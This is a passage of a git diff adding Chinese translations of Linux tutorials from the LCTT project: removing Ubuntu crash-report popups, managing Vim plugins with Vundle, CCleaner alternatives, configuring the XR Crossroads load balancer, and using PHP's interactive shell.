+对,也不对。如果你想的话,在你第一次看到它的时候报告它。你可以在上面图片显示的“显示细节(Show Details)”中,查看崩溃的程序。但是如果你总是看到它,或者你不想报告漏洞(Bug),那么我建议你还是一次性摆脱这个问题吧。 + +### 修复Ubuntu中“检测到系统程序错误”的错误 ### + +这些错误报告被存放在Ubuntu中目录/var/crash中。如果你翻看这个目录的话,应该可以看到有一些以crash结尾的文件。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/Crash_reports_Ubuntu.jpeg) + +我的建议是删除这些错误报告。打开一个终端,执行下面的命令: + + sudo rm /var/crash/* + +这个操作会删除所有在/var/crash目录下的所有内容。这样你就不会再被这些报告以前程序错误的弹窗所扰。但是如果又有一个程序崩溃了,你就会再次看到“检测到系统程序错误”的错误。你可以再次删除这些报告文件,或者你可以禁用Apport来彻底地摆脱这个错误弹窗。 + +#### 彻底地摆脱Ubuntu中的系统错误弹窗 #### + +如果你这样做,系统中任何程序崩溃时,系统都不会再通知你。如果你想问问我的看法的话,我会说,这不是一件坏事,除非你愿意填写错误报告。如果你不想填写错误报告,那么这些错误通知存不存在都不会有什么区别。 + +要禁止Apport,并且彻底地摆脱Ubuntu系统中的程序崩溃报告,打开一个终端,输入以下命令: + + gksu gedit /etc/default/apport + +这个文件的内容是: + + # 设置0表示禁用Apportw,或者1开启它。 + # 你可以用下面的命令暂时关闭它: + # sudo service apport start force_start=1 + enabled=1 + +把**enabled=1**改为**enabled=0**。保存并关闭文件。完成之后你就再也不会看到弹窗报告错误了。很显然,如果我们想重新开启错误报告功能,只要再打开这个文件,把enabled设置为1就可以了。 + +#### 你的有效吗? #### + +我希望这篇教程能够帮助你修复Ubuntu 14.04和Ubuntu 15.04中检测到系统程序错误的问题。如果这个小窍门帮你摆脱了这个烦人的问题,请让我知道。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/how-to-fix-system-program-problem-detected-ubuntu/ + +作者:[Abhishek][a] +译者:[XLCYun](https://github.com/XLCYun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/how-to-solve-sorry-ubuntu-12-04-has-experienced-an-internal-error/ +[2]:https://launchpad.net/ diff --git a/published/201507/20150713 How to manage Vim plugins.md b/published/201507/20150713 How to manage Vim plugins.md new file mode 100644 index 0000000000..52c65e5871 --- /dev/null +++ b/published/201507/20150713 How to manage Vim plugins.md @@ -0,0 +1,140 @@ +如何管理 Vim 插件 +================================================================================ + +Vim是Linux上一个轻量级的通用文本编辑器。虽然它开始时的学习曲线对于一般的Linux用户来说可能很困难,但比起它的好处,这些付出完全是值得的。vim 可以通过完全可定制的插件来增加越来越多的功能。但是,由于它的功能配置比较难,你需要花一些时间去了解它的插件系统,然后才能够有效地去个性化定置Vim。幸运的是,我们已经有一些工具能够使我们在使用Vim插件时更加轻松。而我日常所使用的就是Vundle。 + +### 什么是Vundle ### + +[Vundle][1]意即Vim Bundle,是一个vim插件管理器。Vundle能让你很简单地实现插件的安装、升级、搜索或者清除。它还能管理你的运行环境并且在标签方面提供帮助。在本教程中我们将展示如何安装和使用Vundle。 + +### 安装Vundle ### + +首先,如果你的Linux系统上没有Git的话,先[安装Git][2]。 + +接着,创建一个目录,Vim的插件将会被下载并且安装在这个目录上。默认情况下,这个目录为~/.vim/bundle。 + + $ mkdir -p ~/.vim/bundle + +现在,使用如下指令安装Vundle。注意Vundle本身也是一个vim插件。因此我们同样把vundle安装到之前创建的目录~/.vim/bundle下。 + + $ git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim + +### 配置Vundle ### + +现在配置你的.vimrc文件如下: + + set nocompatible " 必需。 + filetype off " 必须。 + + " 在这里设置你的运行时环境的路径。 + set rtp+=~/.vim/bundle/Vundle.vim + + " 初始化vundle + call vundle#begin() + + " 这一行应该永远放在开头。 + Plugin 'gmarik/Vundle.vim' + + " 这个示范来自https://github.com/gmarik/Vundle.vim README + Plugin 'tpope/vim-fugitive' + + " 取自http://vim-scripts.org/vim/scripts.html的插件 + Plugin 'L9' + + " 该Git插件没有放在GitHub上。 + Plugin 'git://git.wincent.com/command-t.git' + + "本地计算机上的Git仓库路径 (例如,当你在开发你自己的插件时) + Plugin 'file:///home/gmarik/path/to/plugin' + + " vim脚本sparkup存放在这个名叫vim的仓库下的一个子目录中。 + " 将这个路径正确地设置为runtimepath。 + Plugin 'rstacruz/sparkup', {'rtp': 'vim/'} + + " 避免与L9发生名字上的冲突 + Plugin 'user/L9', {'name': 'newL9'} + + "所有的插件都应该在这一行之前。 + call vundle#end() " 必需。 + +容我简单解释一下上面的设置:默认情况下,Vundle将从github.com或者vim-scripts.org下载和安装vim插件。你也可以改变这个默认行为。 + +要从github安装插件: + + Plugin 'user/plugin' + +要从 http://vim-scripts.org/vim/scripts.html 处安装: + + Plugin 'plugin_name' + +要从另外一个git仓库中安装: + + Plugin 'git://git.another_repo.com/plugin' + +从本地文件中安装: + + Plugin 'file:///home/user/path/to/plugin' + +你同样可以定制其它东西,例如你的插件的运行时路径,当你自己在编写一个插件时,或者你只是想从其它目录——而不是~/.vim——中加载插件时,这样做就非常有用。 + + Plugin 'rstacruz/sparkup', {'rtp': 'another_vim_path/'} + +如果你有同名的插件,你可以重命名你的插件,这样它们就不会发生冲突了。 + + Plugin 'user/plugin', {'name': 'newPlugin'} + +### 使用Vum命令 ### + +一旦你用vundle设置好你的插件,你就可以通过几个vundle命令来安装、升级、搜索插件,或者清除没有用的插件。 + +#### 安装一个新的插件 #### + +`PluginInstall`命令将会安装所有列在你的.vimrc文件中的插件。你也可以通过传递一个插件名给它,来安装某个的特定插件。 + + :PluginInstall + :PluginInstall <插件名> + +![](https://farm1.staticflickr.com/559/18998707843_438cd55463_c.jpg) + +#### 清除没有用的插件 #### + +如果你有任何没有用到的插件,你可以通过`PluginClean`命令来删除它。 + + :PluginClean + +![](https://farm4.staticflickr.com/3814/19433047689_17d9822af6_c.jpg) + +#### 查找一个插件 #### + +如果你想从提供的插件清单中安装一个插件,搜索功能会很有用。 + + :PluginSearch <文本> + +![](https://farm1.staticflickr.com/541/19593459846_75b003443d_c.jpg) + +在搜索的时候,你可以在交互式分割窗口中安装、清除、重新搜索或者重新加载插件清单。安装后的插件不会自动加载生效,要使其加载生效,可以将它们添加进你的.vimrc文件中。 + +### 总结 ### + +Vim是一个妙不可言的工具。它不单单是一个能够使你的工作更加顺畅高效的默认文本编辑器,同时它还能够摇身一变,成为现存的几乎任何一门编程语言的IDE。 + +注意,有一些网站能帮你找到适合的vim插件。猛击 [http://www.vim-scripts.org][3], Github或者 [http://www.vimawesome.com][4] 获取新的脚本或插件。同时记得使用为你的插件提供的帮助。 + +和你最爱的编辑器一起嗨起来吧! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/manage-vim-plugins.html + +作者:[Christopher Valerio][a] +译者:[XLCYun(袖里藏云)](https://github.com/XLCYun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/valerio +[1]:https://github.com/VundleVim/Vundle.vim +[2]:http://ask.xmodulo.com/install-git-linux.html +[3]:http://www.vim-scripts.org/ +[4]:http://www.vimawesome.com/ + diff --git a/published/201507/20150716 4 CCleaner Alternatives For Ubuntu Linux.md b/published/201507/20150716 4 CCleaner Alternatives For Ubuntu Linux.md new file mode 100644 index 0000000000..57e54cc898 --- /dev/null +++ b/published/201507/20150716 4 CCleaner Alternatives For Ubuntu Linux.md @@ -0,0 +1,118 @@ +Ubuntu 下 CCleaner 的 4 个替代品 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/ccleaner-10-700x393.jpg) + +回首我使用 Windows 的那些日子,[CCleaner][1] 是我用来释放空间、删除垃圾文件和加速 Windows 的最喜爱的工具。我知道,当从 Windows 切换到 Linux 时,我并不是唯一期望 CCleaner 拥有 Linux 版本的人。假如你正在寻找 Linux 下 CCleaner 的替代品,我将在下面列举 4 个这样的应用,它们可以用来清理 Ubuntu 或基于 Ubuntu 的 Linux 发行版本。但在我们看这个清单之前,先让我们考虑一下 Linux 是否需要系统清理工具这个问题。 + +### Linux 需要像 CCleaner 那样的系统清理工具吗? ### + +为了得到答案,让我们看看 CCleaner 做了什么。正如 [How-To Geek][2] 的这篇文章中所提到的那样: + +> CCleaner 有两个主要的功能。一是:它扫描并删除无用的文件,释放磁盘空间。二是:它擦除隐私的数据,例如你的浏览记录和在各种软件中最近打开的文件列表。 + +所以,概括起来,它在系统范围内清理在你的浏览器或媒体播放器中的临时文件。你或许知道 Windows 有在系统中保存垃圾文件的喜好,那 Linux 呢?它是如何处理临时文件的呢? + +与 Windows 不同, Linux 自动地清理所有的临时文件(在 `/tmp` 中存储)。在 Linux 中没有注册表,这进一步减轻了头痛。在最坏情况下,你可能会有一些损坏的不再需要的软件包,以及丢失一些网络浏览历史记录, cookies ,缓存等。 + +### 这意味着 Linux 不必需要系统清理工具了吗? ### + +- 假如你可以运行某些命令来清理偶尔使用的软件包,手动删除浏览历史记录等,那么答案是:不需要; +- 假如你不想不断地从一个地方跳到另一个地方来运行命令,并想用一个工具来删除所有可通过一次或多次点击所选择的东西,那么答案是:需要。 + +假如你的答案是“需要”,就让我们继续看看一些类似于 CCleaner 的工具,用它们清理你的 Ubuntu 系统。 + +### Ubuntu 下 CCleaner 的替代品 ### + +请注意,我使用的系统是 Ubuntu,因为下面讨论的一些工具只存在于基于 Ubuntu 的 Linux 发行版本中,而另外一些在所有的 Linux 发行版本中都可使用。 + +#### 1. BleachBit #### + +![BleachBit 针对 Linux 的系统清理工具](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/BleachBit_Cleaning_Tool_Ubuntu.jpeg) + +[BleachBit][3] 是一个跨平台的应用程序,在 Windows 和 Linux 平台下都可使用。它有一个很长的支持清理的程序的列表,这样可以让你选择性的清理缓存,cookies 和日志文件。让我们快速浏览它的特点: + +- 简洁的图形界面确认框,你可以预览或删除 +- 支持多平台: Linux 和 Windows +- 免费且开源 +- 粉碎文件以隐藏它们的内容并防止数据恢复 +- 重写空闲的磁盘空间来隐藏先前删除的文件内容 +- 也拥有命令行界面 + +默认情况下,在 Ubuntu 14.04 and 15.04 中都可以获取到 BleachBit,你可以在终端中使用下面的命令来安装: + + sudo apt-get install bleachbit + +对于所有主流的 Linux 发行版本, BleachBit 提供有二进制程序,你可以从下面的链接中下载到 BleachBit: + +- [下载 BleachBit 的 Linux 版本][4] + +#### 2. Sweeper #### + +![Sweeper 针对 Ubuntu 的系统清理工具](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/sweeper.jpeg) + +Sweeper 是一个系统清理工具,它是[KDE SC utilities][5] 模块的一部分。它的主要特点有: + +- 移除与网络相关的痕迹: cookies, 历史,缓存等 +- 移除图形缩略图缓存 +- 清理应用和文件的历史记录 + +默认情况下,Sweeper 在 Ubuntu 的软件仓库中可以得到。可以在终端中使用下面的命令来安装 Sweeper: + + sudo apt-get install sweeper + +#### 3. Ubuntu Tweak #### + +![清理 Ubuntu 系统的 Ubuntu Tweak 工具 ](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/Ubuntu_Tweak_Janitor.jpeg) + +正如它的名称所说的那样,[Ubuntu Tweak][6] 是一个调整工具,而不仅仅是一个清理应用。除了调整诸如 compiz 设置,面板的配置,开机启动程序的控制,电源管理等,Ubuntu Tweak 还提供一个清理选项,它可以让你: + +- 清理浏览器缓存 +- 清理 Ubuntu 软件中心缓存 +- 清理缩略图缓存 +- 清理 apt 仓库缓存 +- 清理旧的内核文件 +- 清理软件包配置 + +你可以从下面的链接中得到 Ubuntu Tweak 的 `.deb` 安装文件: + +- [下载 Ubuntu Tweak][7] + +#### 4. GCleaner (beta) #### + +![GCleaner 类似 CCleaner 的工具](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/07/GCleaner.jpeg) + +作为 elementary OS Freya 的第三方应用, GCleaner 旨在成为 GNU 世界的 CCleaner,其界面与 CCleaner 非常相似。它的一些主要特点有: + +- 清理浏览器历史记录 +- 清理应用缓存 +- 清理软件包及其配置 +- 清理最近使用的文件历史记录 +- 清空垃圾箱 + +在书写本文时, GCleaner 仍处于开发阶段,你可以查看这个项目的网站,并得到源代码来编译和使用 GCleaner。 + +- [更多地了解 GCleaner][8] + +### 你的选择呢? ### + +我已经向你列举了一些可能选项,我让你选择决定使用哪个工具来清理 Ubuntu 14.04。但我可以肯定的是,若你正在寻找一个类似 CCleaner 的应用,你将在上面列举的 4 个工具中进行最后的选择。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/ccleaner-alternatives-ubuntu-linux/ + +作者:[Abhishek][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:https://www.piriform.com/ccleaner/download +[2]:http://www.howtogeek.com/172820/beginner-geek-what-does-ccleaner-do-and-should-you-use-it/ +[3]:http://bleachbit.sourceforge.net/ +[4]:http://bleachbit.sourceforge.net/download/linux +[5]:https://www.kde.org/applications/utilities/ +[6]:http://ubuntu-tweak.com/ +[7]:http://ubuntu-tweak.com/ +[8]:https://quassy.github.io/elementary-apps/GCleaner/ diff --git a/published/201507/20150717 Setting Up 'XR' (Crossroads) Load Balancer for Web Servers on RHEL or CentOS.md b/published/201507/20150717 Setting Up 'XR' (Crossroads) Load Balancer for Web Servers on RHEL or CentOS.md new file mode 100644 index 0000000000..c697a7b216 --- /dev/null +++ b/published/201507/20150717 Setting Up 'XR' (Crossroads) Load Balancer for Web Servers on RHEL or CentOS.md @@ -0,0 +1,162 @@ + +在 RHEL/CentOS 上为Web服务器架设 “XR”(Crossroads) 负载均衡器 +================================================================================ +Crossroads 是一个独立的服务,它是一个用于Linux和TCP服务的开源负载均衡和故障转移实用程序。它可用于HTTP,HTTPS,SSH,SMTP 和 DNS 等,它也是一个多线程的工具,在提供负载均衡服务时,它可以只使用一块内存空间以此来提高性能。 + +首先来看看 XR 是如何工作的。我们可以将 XR 放到网络客户端和服务器之间,它可以将客户端的请求分配到服务器上以平衡负载。 + +如果一台服务器宕机,XR 会转发客户端请求到另一个服务器,所以客户感觉不到停顿。看看下面的图来了解什么样的情况下,我们要使用 XR 处理。 + +![Install XR Crossroads Load Balancer](http://www.tecmint.com/wp-content/uploads/2015/07/Install-XR-Crossroads-Load-Balancer.jpg) + +*安装 XR Crossroads 负载均衡器* + +这里有两个 Web 服务器,一个网关服务器,我们将在网关服务器上安装和设置 XR 以接收客户端请求,并分发到服务器。 + +    XR Crossroads 网关服务器:172.16.1.204 + +    Web 服务器01:172.16.1.222 + +    Web 服务器02:192.168.1.161 + +在上述情况下,我们网关服务器(即 XR Crossroads)的IP地址是172.16.1.222,webserver01 为172.16.1.222,它监听8888端口,webserver02 是192.168.1.161,它监听端口5555。 + +现在,我们需要的是均衡所有的请求,通过 XR 网关从网上接收请求然后分发它到两个web服务器已达到负载均衡。 + +### 第1步:在网关服务器上安装 XR Crossroads 负载均衡器 ### + +**1. 不幸的是,没有为 crossroads 提供可用的 RPM 包,我们只能从源码安装。** + +要编译 XR,你必须在系统上安装 C++ 编译器和 GNU make 组件,才能避免安装错误。 + + # yum install gcc gcc-c++ make + +接下来,去他们的官方网站([https://crossroads.e-tunity.com] [1])下载此压缩包(即 crossroads-stable.tar.gz)。 + +或者,您可以使用 wget 去下载包然后解压在任何位置(如:/usr/src/),进入解压目录,并使用 “make install” 命令安装。 + + # wget https://crossroads.e-tunity.com/downloads/crossroads-stable.tar.gz + # tar -xvf crossroads-stable.tar.gz + # cd crossroads-2.74/ + # make install + +![Install XR Crossroads Load Balancer](http://www.tecmint.com/wp-content/uploads/2015/07/Install-XR-Crossroads-Load-Balancer.png) + +*安装 XR Crossroads 负载均衡器* + +安装完成后,二进制文件安装在 /usr/sbin 目录下,XR 的配置文件在 /etc 下名为 “xrctl.xml” 。 + +**2. 最后一个条件,你需要两个web服务器。为了方便使用,我在一台服务器中创建两个 Python SimpleHTTPServer 实例。** + +要了解如何设置一个 python SimpleHTTPServer,请阅读我们此处的文章 [使用 SimpleHTTPServer 轻松创建两个 web 服务器][2]. + +正如我所说的,我们要使用两个web服务器,webserver01 通过8888端口运行在172.16.1.222上,webserver02 通过5555端口运行在192.168.1.161上。 + +![XR WebServer 01](http://www.tecmint.com/wp-content/uploads/2015/07/XR-WebServer01.jpg) + +*XR WebServer 01* + +![XR WebServer 02](http://www.tecmint.com/wp-content/uploads/2015/07/XR-WebServer02.jpg) + +*XR WebServer 02* + +### 第2步: 配置 XR Crossroads 负载均衡器 ### + +**3. 所需都已经就绪。现在我们要做的就是配置`xrctl.xml` 文件并通过 XR 服务器接受来自互联网的请求分发到 web 服务器上。** + +现在用 [vi/vim 编辑器][3]打开`xrctl.xml`文件。 + + # vim /etc/xrctl.xml + +并作如下修改。 + + + + + true + /tmp + + + Tecmint + +
172.16.1.204:8080
+ tcp + 0:8010 + yes + 0 + 0 + 0 + 0 +
+ +
172.16.1.222:8888
+
+ +
192.168.1.161:5555
+
+
+
+ +![Configure XR Crossroads Load Balancer](http://www.tecmint.com/wp-content/uploads/2015/07/Configure-XR-Crossroads-Load-Balancer.jpg) + +*配置 XR Crossroads 负载均衡器* + +在这里,你可以看到在 xrctl.xml 中配置了一个非常基本的 XR 。我已经定义了 XR 服务器在哪里,XR 的后端服务和端口及 XR 的 web 管理界面是什么。 + +**4. 现在,你需要通过以下命令来启动该 XR 守护进程。** + + # xrctl start + # xrctl status + +![Start XR Crossroads](http://www.tecmint.com/wp-content/uploads/2015/07/Start-XR-Crossroads.jpg) + +*启动 XR Crossroads* + +**5. 好的。现在是时候来检查该配置是否可以工作正常了。打开两个网页浏览器,输入 XR 服务器的 IP 地址和端口,并查看输出。** + +![Verify Web Server Load Balancing](http://www.tecmint.com/wp-content/uploads/2015/07/Verify-Web-Server-Load-Balancing.jpg) + +*验证 Web 服务器负载均衡* + +太棒了。它工作正常。是时候玩玩 XR 了。(LCTT 译注:可以看到两个请求分别分配到了不同服务器。) + +**6. 现在可以通过我们配置的网络管理界面的端口来登录到 XR Crossroads 仪表盘。在浏览器输入你的 XR 服务器的 IP 地址和你配置在 xrctl.xml 中的管理端口。** + + http://172.16.1.204:8010 + +![XR Crossroads Dashboard](http://www.tecmint.com/wp-content/uploads/2015/07/XR-Crossroads-Dashboard.jpg) + +*XR Crossroads 仪表盘* + +看起来像上面一样。它容易理解,用户界面​​友好,易于使用。它在右上角显示每个服务器能容纳多少个连接,以及关于接收该请求的附加细节。你也可以设置每个服务器承担的负载量,最大连接数和平均负载等。 + +最大的好处是,即使没有配置文件 xrctl.xml,你也可以做到这一点。你唯一要做的就是运行以下命令,它就会把这一切搞定。 + + # xr --verbose --server tcp:172.16.1.204:8080 --backend 172.16.1.222:8888 --backend 192.168.1.161:5555 + +上面语法的详细说明: + +- -verbose 将显示命令执行后的信息。 +- -server 定义你在安装包中的 XR 服务器。 +- -backend 定义你需要平衡分配到 Web 服务器的流量。 +- tcp 说明我们使用 TCP 服务。 + +欲了解更多详情,有关文件及 CROSSROADS 的配置,请访问他们的官方网站: [https://crossroads.e-tunity.com/][4]. + +XR Corssroads 使用许多方法来提高服务器性能,避免宕机,让你的管理任务更轻松,更简便。希望你喜欢此文章,并随时在下面发表你的评论和建议,方便与我们保持联系。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/setting-up-xr-crossroads-load-balancer-for-web-servers-on-rhel-centos/ + +作者:[Thilina Uvindasiri][a] +译者:[strugglingyouth](https://github.com/strugglingyouth) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/thilidhanushka/ +[1]:https://crossroads.e-tunity.com/ +[2]:http://www.tecmint.com/python-simplehttpserver-to-create-webserver-or-serve-files-instantly/ +[3]:http://www.tecmint.com/vi-editor-usage/ +[4]:https://crossroads.e-tunity.com/ diff --git a/published/201507/20150722 12 Useful PHP Commandline Usage Every Linux User Must Know.md b/published/201507/20150722 12 Useful PHP Commandline Usage Every Linux User Must Know.md new file mode 100644 index 0000000000..2b5a6e9cf9 --- /dev/null +++ b/published/201507/20150722 12 Useful PHP Commandline Usage Every Linux User Must Know.md @@ -0,0 +1,201 @@ +在 Linux 命令行中使用和执行 PHP 代码(二):12 个 PHP 交互性 shell 的用法 +================================================================================ +在上一篇文章“[在 Linux 命令行中使用和执行 PHP 代码(一)][1]”中,我同时着重讨论了直接在Linux命令行中运行PHP代码以及在Linux终端中执行PHP脚本文件。 + +![Run PHP Codes in Linux Commandline](http://www.tecmint.com/wp-content/uploads/2015/07/Run-PHP-Codes-in-Linux-Commandline.jpeg) + +本文旨在让你了解一些相当不错的Linux终端中的PHP交互性 shell 的用法特性。 + +让我们先在PHP 的交互shell中来对`php.ini`设置进行一些配置吧。 + +**6. 设置PHP命令行提示符** + +要设置PHP命令行提示,你需要在Linux终端中使用下面的php -a(启用PHP交互模式)命令开启一个PHP交互shell。 + + $ php -a + +然后,设置任何东西(比如说Hi Tecmint ::)作为PHP交互shell的命令提示符,操作如下: + + php > #cli.prompt=Hi Tecmint :: + +![Enable PHP Interactive Shell](http://www.tecmint.com/wp-content/uploads/2015/07/Enable-PHP-Interactive-Shell.png) + +*启用PHP交互Shell* + +同时,你也可以设置当前时间作为你的命令行提示符,操作如下: + + php > #cli.prompt=`echo date('H:m:s');` > + + 22:15:43 > + +**7. 每次输出一屏** + +在我们上一篇文章中,我们已经在原始命令中通过管道在很多地方使用了`less`命令。通过该操作,我们可以在那些不能一屏全部输出的地方获得分屏显示。但是,我们可以通过配置php.ini文件,设置pager的值为less以每次输出一屏,操作如下: + + $ php -a + php > #cli.pager=less + +![Fix PHP Screen Output](http://www.tecmint.com/wp-content/uploads/2015/07/Fix-PHP-Screen-Output.png) + +*限制PHP屏幕输出* + +这样,下次当你运行一个命令(比如说条调试器`phpinfo();`)的时候,而该命令的输出内容又太过庞大而不能固定在一屏,它就会自动产生适合你当前屏幕的输出结果。 + + php > phpinfo(); + +![PHP Info Output](http://www.tecmint.com/wp-content/uploads/2015/07/PHP-Info-Output.png) + +*PHP信息输出* + +**8. 建议和TAB补全** + +PHP shell足够智能,它可以显示给你建议和进行TAB补全,你可以通过TAB键来使用该功能。如果对于你想要用TAB补全的字符串而言有多个选项,那么你需要使用两次TAB键来完成,其它情况则使用一次即可。 + +如果有超过一个的可能性,请使用两次TAB键。 + + php > ZIP [TAB] [TAB] + +如果只有一个可能性,只要使用一次TAB键。 + + php > #cli.pager [TAB] + +你可以一直按TAB键来获得建议的补全,直到该值满足要求。所有的行为都将记录到`~/.php-history`文件。 + +要检查你的PHP交互shell活动日志,你可以执行: + + $ nano ~/.php_history | less + +![Check PHP Interactive Shell Logs](http://www.tecmint.com/wp-content/uploads/2015/07/Check-PHP-Interactive-Shell-Logs.png) + +*检查PHP交互Shell日志* + +**9. 你可以在PHP交互shell中使用颜色,你所需要知道的仅仅是颜色代码。** + +使用echo来打印各种颜色的输出结果,类似这样: + + php > echo "color_code1 TEXT second_color_code"; + +具体来说是: + + php > echo "\033[0;31m Hi Tecmint \x1B[0m"; + +![Enable Colors in PHP Shell](http://www.tecmint.com/wp-content/uploads/2015/07/Enable-Colors-in-PHP-Shell.png) + +*在PHP Shell中启用彩色* + +到目前为止,我们已经看到,按回车键意味着执行命令,然而PHP Shell中各个命令结尾的分号是必须的。 + +**10. 在PHP shell中用basename()输出路径中最后一部分** + +PHP shell中的basename函数可以从给出的包含有到文件或目录路径的最后部分。 + +basename()样例#1和#2。 + + php > echo basename("/var/www/html/wp/wp-content/plugins"); + php > echo basename("www.tecmint.com/contact-us.html"); + +上述两个样例将输出: + + plugins + contact-us.html + +![Print Base Name in PHP](http://www.tecmint.com/wp-content/uploads/2015/07/Print-Base-Name-in-PHP.png) + +*在PHP中打印基本名称* + +**11. 你可以使用PHP交互shell在你的桌面创建文件(比如说test1.txt),就像下面这么简单** + + php> touch("/home/avi/Desktop/test1.txt"); + +我们已经见识了PHP交互shell在数学运算中有多优秀,这里还有更多一些例子会令你吃惊。 + +**12. 使用PHP交互shell打印比如像tecmint.com这样的字符串的长度** + +strlen函数用于获取指定字符串的长度。 + + php > echo strlen("tecmint.com"); + +![Print Length String in PHP](http://www.tecmint.com/wp-content/uploads/2015/07/Print-Length-String-in-PHP.png) + +*在PHP中打印字符串长度* + +**13. PHP交互shell可以对数组排序,是的,你没听错** + +声明变量a,并将其值设置为array(7,9,2,5,10)。 + + php > $a=array(7,9,2,5,10); + +对数组中的数字进行排序。 + + php > sort($a); + +以排序后的顺序打印数组中的数字,同时打印序号,第一个为[0]。 + + php > print_r($a); + Array + ( + [0] => 2 + [1] => 5 + [2] => 7 + [3] => 9 + [4] => 10 + ) + +![Sort Arrays in PHP](http://www.tecmint.com/wp-content/uploads/2015/07/Sort-Arrays-in-PHP.png) + +*在PHP中对数组排序* + +**14. 在PHP交互Shell中获取π的值** + + php > echo pi(); + + 3.1415926535898 + +**15. 打印某个数比如32的平方根** + + php > echo sqrt(150); + + 12.247448713916 + +**16. 从0-10的范围内挑选一个随机数** + + php > echo rand(0, 10); + +![Get Random Number in PHP](http://www.tecmint.com/wp-content/uploads/2015/07/Get-Random-Number-in-PHP.png) + +*在PHP中获取随机数* + +**17. 获取某个指定字符串的md5校验和sha1校验,例如,让我们在PHP Shell中检查某个字符串(比如说avi)的md5校验和sha1校验,并交叉校验bash shell生成的md5校验和sha1校验的结果。** + + php > echo md5(avi); + 3fca379b3f0e322b7b7967bfcfb948ad + + php > echo sha1(avi); + 8f920f22884d6fea9df883843c4a8095a2e5ac6f + +---------- + + $ echo -n avi | md5sum + 3fca379b3f0e322b7b7967bfcfb948ad - + + $ echo -n avi | sha1sum + 8f920f22884d6fea9df883843c4a8095a2e5ac6f - + +![Check md5sum and sha1sum in PHP](http://www.tecmint.com/wp-content/uploads/2015/07/Check-md5sum-and-sha1sum.png) + +*在PHP中检查md5校验和sha1校验* + +这里只是PHP Shell中所能获取的功能和PHP Shell的交互特性的惊鸿一瞥,这些就是到现在为止我所讨论的一切。保持连线,在评论中为我们提供你有价值的反馈吧。为我们点赞并分享,帮助我们扩散哦。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/execute-php-codes-functions-in-linux-commandline/ + +作者:[Avishek Kumar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-5906-1.html diff --git a/published/201507/20150722 How to Use and Execute PHP Codes in Linux Command Line--Part 1.md b/published/201507/20150722 How to Use and Execute PHP Codes in Linux Command Line--Part 1.md new file mode 100644 index 0000000000..79fa6b6b12 --- /dev/null +++ b/published/201507/20150722 How to Use and Execute PHP Codes in Linux Command Line--Part 1.md @@ -0,0 +1,183 @@ +在 Linux 命令行中使用和执行 PHP 代码(一) +================================================================================ +PHP是一个开源服务器端脚本语言,最初这三个字母代表的是“Personal Home Page”,而现在则代表的是“PHP:Hypertext Preprocessor”,它是个递归首字母缩写。它是一个跨平台脚本语言,深受C、C++和Java的影响。 + +![Run PHP Codes in Linux Command Line](http://www.tecmint.com/wp-content/uploads/2015/07/php-command-line-usage.jpeg) + +*在 Linux 命令行中运行 PHP 代码* + +PHP的语法和C、Java以及带有一些PHP特性的Perl变成语言中的语法十分相似,它当下大约正被2.6亿个网站所使用,当前最新的稳定版本是PHP版本5.6.10。 + +PHP是HTML的嵌入脚本,它便于开发人员快速写出动态生成的页面。PHP主要用于服务器端(而Javascript则用于客户端)以通过HTTP生成动态网页,然而,当你知道可以在Linux终端中不需要网页浏览器来执行PHP时,你或许会大为惊讶。 + +本文将阐述PHP脚本语言的命令行方面。 + +**1. 在安装完PHP和Apache2后,我们需要安装PHP命令行解释器。** + + # apt-get install php5-cli [Debian 及类似系统] + # yum install php-cli [CentOS 及类似系统] + +接下来我们通常要做的是,在`/var/www/html`(这是 Apache2 在大多数发行版中的工作目录)这个位置创建一个内容为 ``,名为 `infophp.php` 的文件来测试(PHP是否安装正确),执行以下命令即可。 + + # echo '' > /var/www/html/infophp.php + +然后,将浏览器访问 http://127.0.0.1/infophp.php ,这将会在网络浏览器中打开该文件。 + +![Check PHP Info](http://www.tecmint.com/wp-content/uploads/2015/07/Check-PHP-Info.png) + +*检查PHP信息* + +不需要任何浏览器,在Linux终端中也可以获得相同的结果。在Linux命令行中执行`/var/www/html/infophp.php`,如: + + # php -f /var/www/html/infophp.php + +![Check PHP info from Commandline](http://www.tecmint.com/wp-content/uploads/2015/07/Check-PHP-info-from-Commandline.png) + +*从命令行检查PHP信息* + +由于输出结果太大,我们可以通过管道将上述输出结果输送给 `less` 命令,这样就可以一次输出一屏了,命令如下: + + # php -f /var/www/html/infophp.php | less + +![Check All PHP Info](http://www.tecmint.com/wp-content/uploads/2015/07/Check-All-PHP-Info.png) + +*检查所有PHP信息* + +这里,‘-f‘选项解析并执行命令后跟随的文件。 + +**2. 